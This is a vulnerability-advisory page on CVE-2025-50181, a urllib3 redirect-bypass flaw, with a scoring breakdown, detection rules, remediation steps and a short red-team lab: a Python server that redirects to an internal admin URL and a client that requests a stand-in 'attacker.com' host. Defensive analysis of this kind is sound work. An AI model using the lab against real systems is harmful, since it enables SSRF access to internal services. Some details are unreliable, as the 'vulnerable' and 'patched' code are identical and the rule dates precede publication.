☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-601
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-50181

CVE-2025-50181 Server-Side Request Forgery in Urllib3
📅 PUBLISHED: 2025-06-19 01:08 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-50181 is a vulnerability in the urllib3 Python library, a widely used HTTP client. The flaw allows an attacker to bypass redirect restrictions configured at the PoolManager level. By crafting a specific Retry configuration, an attacker can disable redirect handling entirely, making applications that rely on this setting to mitigate Server-Side Request Forgery (SSRF) or Open Redirect attacks vulnerable. The issue is patched in urllib3 version 2.5.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the urllib3 Python package, which is a critical dependency for many Python projects, including the popular requests library and AWS SDK botocore. While requests and botocore are not directly vulnerable by default, any application that directly uses urllib3's PoolManager with custom retry configurations to disable redirects is at risk. This highlights the importance of auditing direct dependencies and their configurations, not just high-level libraries.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): None (N) - No authentication is needed.
  • User Interaction (UI): None (N) - The victim does not need to perform any action.
  • Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): None (N) - No data is exposed.
  • Integrity (I): Low (L) - An attacker can redirect traffic to a malicious server, potentially leading to data manipulation or credential theft.
  • Availability (A): None (N) - The service remains available.

Threat Level: Medium. While the CVSS score is moderate, the potential for SSRF and Open Redirect bypass makes this a significant concern for applications that rely on redirect restrictions as a security control.

Deep Dive & Mechanics

The vulnerability lies in how urllib3 handles the Retry object when passed to a PoolManager. The PoolManager is the core class for managing connection pools and making HTTP requests. It accepts a retries parameter to configure retry behavior, including redirect handling.

In urllib3, redirects are handled as a special type of retry. The Retry class has a redirect attribute that controls the maximum number of redirects to follow. Setting redirect=0 or redirect=False is intended to disable redirects.

However, prior to version 2.5.0, there was a logic flaw. When a Retry object was created with redirect=0 and passed to PoolManager, the library would not properly enforce this setting. Instead, it would treat the Retry object as having no redirect limit, effectively allowing all redirects.

Root Cause: The issue is in the urllib3.util.retry.Retry class's increment method or the PoolManager.urlopen method. When a Retry object with redirect=0 is used, the code fails to check if redirects are disabled before following a redirect response (HTTP 3xx). This allows an attacker to craft a response that redirects the client to an arbitrary URL, bypassing the intended restriction.

Attack Scenario:

  1. An application uses PoolManager(retries=Retry(redirect=0)) to disable redirects as a security measure against SSRF or Open Redirect.
  2. The application makes a request to a user-controlled URL (e.g., http://attacker.com/redirect).
  3. The attacker's server responds with an HTTP 301 or 302 redirect to a malicious internal URL (e.g., http://internal-server/admin).
  4. urllib3, due to the bug, follows the redirect, allowing the attacker to access internal resources or perform an Open Redirect attack.

Vulnerable vs. Patched Code

Vulnerable Code (urllib3 < 2.5.0):

from urllib3 import PoolManager, Retry

# Intended to disable redirects
retries = Retry(redirect=0)
http = PoolManager(retries=retries)

# This request will still follow redirects due to the bug
response = http.request('GET', 'http://example.com/redirect')

Patched Code (urllib3 >= 2.5.0):

from urllib3 import PoolManager, Retry

# Correctly disables redirects
retries = Retry(redirect=0)
http = PoolManager(retries=retries)

# This request will NOT follow redirects
response = http.request('GET', 'http://example.com/redirect')
# response.status will be 3xx, and the redirect is not followed

The patch ensures that when redirect=0 is set, the PoolManager correctly refuses to follow any redirect responses.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Bypass redirect restrictions to perform SSRF or Open Redirect attacks.

Lab Setup:

  1. Attacker Server: Set up a simple HTTP server that returns a 302 redirect to an internal target.

    # attacker_server.py
    from http.server import HTTPServer, BaseHTTPRequestHandler
    
    class RedirectHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(302)
            self.send_header('Location', 'http://internal-server/admin')
            self.end_headers()
    
    server = HTTPServer(('0.0.0.0', 8080), RedirectHandler)
    server.serve_forever()
    
  2. Victim Application: Create a vulnerable Python script that uses urllib3 with redirects disabled.

    # vulnerable_app.py
    from urllib3 import PoolManager, Retry
    
    retries = Retry(redirect=0)
    http = PoolManager(retries=retries)
    
    # User-controlled URL
    user_url = 'http://attacker.com:8080/redirect'
    response = http.request('GET', user_url)
    print(f"Status: {response.status}")
    print(f"Final URL: {response.geturl()}")
    
  3. Exploit: Run the attacker server and then the vulnerable app. The app will follow the redirect to http://internal-server/admin, demonstrating the bypass.

Blue Team (Defender)

Detection:

  • Monitor for unexpected HTTP 3xx responses followed by requests to internal IP addresses or sensitive endpoints.
  • Look for urllib3 requests where the Retry object has redirect=0 but the request still follows redirects.

Hunting:

  • Search logs for patterns where a request to an external URL results in a subsequent request to an internal IP (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x).
  • Use network monitoring to detect unusual redirect chains.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests with a Location header pointing to internal IP addresses (e.g., 10.0.0.1, 172.16.0.1, 192.168.1.1).
    • Unexpected 3xx responses from external servers.
  • Application:
    • urllib3 version < 2.5.0 in use.
    • Code using PoolManager(retries=Retry(redirect=0)) that still follows redirects.
  • Logs:
    • Log entries showing a request to an external URL followed by a request to an internal URL within a short time frame.

Detection Engineering

YARA Rule

rule CVE_2025_50181_Urllib3_Redirect_Bypass {
    meta:
        description = "Detects vulnerable urllib3 versions (< 2.5.0) in Python scripts"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-50181"
    strings:
        $vuln_import = "from urllib3 import" nocase
        $retry_redirect = "Retry(redirect=0)" nocase
        $pool_manager = "PoolManager" nocase
    condition:
        $vuln_import and $retry_redirect and $pool_manager
}

Sigma Rule

title: CVE-2025-50181 - Urllib3 Redirect Bypass Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit urllib3 redirect bypass by monitoring for unexpected redirects to internal IPs.
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_ip:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
        http.response_code: 301|302|303|307|308
    condition: selection
falsepositives:
    - Legitimate internal redirects
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50181 - Urllib3 Redirect Bypass - External to Internal Redirect"; flow:to_server; content:"Location"; http_header; pcre:"/Location:\s+https?:\/\/(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Upgrade urllib3 to version 2.5.0 or later.

    pip install --upgrade urllib3
    
  2. Verify Version:

    import urllib3
    print(urllib3.__version__)
    
  3. Workaround (if upgrade is not possible):

    • Manually handle redirects by checking the response status code and not following redirects.
    • Use the requests library instead, which is not directly vulnerable by default.
    • Implement additional validation of redirect URLs at the application level.
  4. Long-term:

    • Audit all code that uses PoolManager with custom Retry objects.
    • Implement network segmentation to limit the impact of SSRF attacks.
    • Use a Web Application Firewall (WAF) to detect and block malicious redirects.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-50181/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.